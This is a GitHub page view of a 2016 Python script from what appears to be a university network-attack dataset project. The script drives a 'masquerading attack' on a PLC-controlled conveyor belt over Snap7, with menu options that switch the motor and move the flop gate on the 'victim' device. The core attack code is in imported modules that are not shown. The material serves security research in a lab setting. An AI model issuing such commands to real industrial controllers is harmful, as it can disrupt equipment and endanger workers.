-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathconveyor-attack.py
More file actions
76 lines (51 loc) · 1.69 KB
/
Copy pathconveyor-attack.py
File metadata and controls
76 lines (51 loc) · 1.69 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#Daniel J. Cowdery - 2016
#IFN701 - Network Attack Dataset (Masquerading Attack)
from Conveyor_Belt import*
from Directory import *
def Restart(device):
print "\nResetting connection..."
device.client.disconnect()
device.client.destroy()
time.sleep(5)
try:
device = ConveyorBelt()
print "Reconnected to Conveyor Belt\n"
return device
except Snap7Exception:
print "\nCould not connect to victim. Terminating application!"
try:
victim = ConveyorBelt()
while (victim.run):
if victim.restart:
victim = Restart(victim)
victim.PrintOptions()
victim.CheckStatus()
if victim.option == 0:
victim.MotorOn()
if victim.option == 1:
victim.MotorOff()
elif victim.option == 3:
victim.AltTestFlopgateLeft()
elif victim.option == 99:
victim.PrintStatus()
#elif victim.option == 2:
# victim.SetFlopgateRight()
#elif victim.option == 22:
# victim.TestSetFlopgateRight()
#elif victim.option == 222:
# victim.AltTestFlopgateRight()
#elif victim.option == 3:
# victim.SetFlopgateLeft()
#elif victim.option == 33:
# victim.TestSetFlopgateLeft()
#elif victim.option == 7:
# victim.ToggleConveyorDirection()
#elif victim.option == 8:
# victim.ToggleFlopgateDirection()
#elif victim.option == 10:
# victim.AltToggleMotor()
except KeyboardInterrupt:
print "\nTerminating application..."
victim.Exit()
except Snap7Exception:
print "\nCould not connect to victim. Terminating application!"